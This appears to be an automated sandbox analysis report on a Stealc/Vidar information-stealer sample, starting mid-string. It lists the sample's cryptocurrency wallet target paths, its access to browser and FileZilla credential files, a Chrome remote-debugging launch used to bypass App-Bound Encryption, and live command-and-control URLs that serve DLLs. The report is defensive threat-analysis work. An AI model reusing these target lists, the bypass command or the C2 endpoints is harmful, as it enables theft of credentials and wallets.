Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: file__0.localstorage
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: MultiDoge
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: seed.seco
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.1
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match

File source: Process Memory Space: 795F.tmp.exe PID: 7684, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 2.2.795F.tmp.exe.810e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.795F.tmp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.795F.tmp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.795F.tmp.exe.22f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.795F.tmp.exe.810e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1881236653.00000000022F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2394052195.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 795F.tmp.exe PID: 7684, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 795F.tmp.exe PID: 7684, type: MEMORYSTR

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_004218EC Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_004218EC
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_00420C16 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_00420C16
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_04650E7D Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_04650E7D
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_04651B53 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_04651B53
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2E0C40 sqlite3_bind_zeroblob,	2_2_6C2E0C40
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2E0D60 sqlite3_bind_parameter_name,	2_2_6C2E0D60
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C208EA0 sqlite3_clear_bindings,	2_2_6C208EA0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2E0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	2_2_6C2E0B40
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C206410 bind,WSAGetLastError,	2_2_6C206410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	111 Process Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IeccNv7PP6.exe	50%	ReversingLabs	Win32.Trojan.CrypterX
IeccNv7PP6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\795F.tmp.exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Temp\795F.tmp.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe	39%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\795F.tmp.exe	39%	ReversingLabs

Source	Detection	Scanner	Label
http://92.255.57.88/7550b1c08332241a/nss3.dllLocal	0%	Avira URL Cloud	safe
http://92.255.57.88/7550b1c08332241a/vcruntime140.dll	0%	Avira URL Cloud	safe
http://176.113.115.37/ScreenUpdateSync.exe2	0%	Avira URL Cloud	safe
https://post-to-me.com/track_prt.php?sub=0&cc=DE9	100%	Avira URL Cloud	malware
http://92.255.57.88/7bbacc20a3bd2eb5.phpg	0%	Avira URL Cloud	safe
http://92.255.57.88/7bbacc20a3bd2eb5.php	0%	Avira URL Cloud	safe
http://92.255.57.88632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03	0%	Avira URL Cloud	safe
https://drive-daily-3.corp.googlPW	0%	Avira URL Cloud	safe
http://92.255.57.88/7550b1c08332241a/nss3.dll	0%	Avira URL Cloud	safe
http://92.255.57.88/7bbacc20a3bd2eb5.phpl	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
post-to-me.com	172.67.179.207	true	false		high
www.google.com	142.250.181.100	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://92.255.57.88/7550b1c08332241a/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://92.255.57.88/7bbacc20a3bd2eb5.php	true	Avira URL Cloud: safe	unknown
https://post-to-me.com/track_prt.php?sub=0&cc=DE	false		high
http://92.255.57.88/7550b1c08332241a/nss3.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000005.00000002.2054055189.00006C4002E18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2045685527.00006C40022E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000005.00000002.2051242421.00006C40029DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000005.00000002.2045509384.00006C400228C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/i	chrome.exe, 00000005.00000003.1957805577.0000693C00684000.00000004.00000800.00020000.00000000.sdmp	false		high
http://92.255.57.88/7550b1c08332241a/nss3.dllLocal	795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000005.00000002.2050181374.00006C400293C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050305082.00006C400296C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000005.00000002.2051242421.00006C40029DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047532645.00006C400269C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2056858392.00006C4003194000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
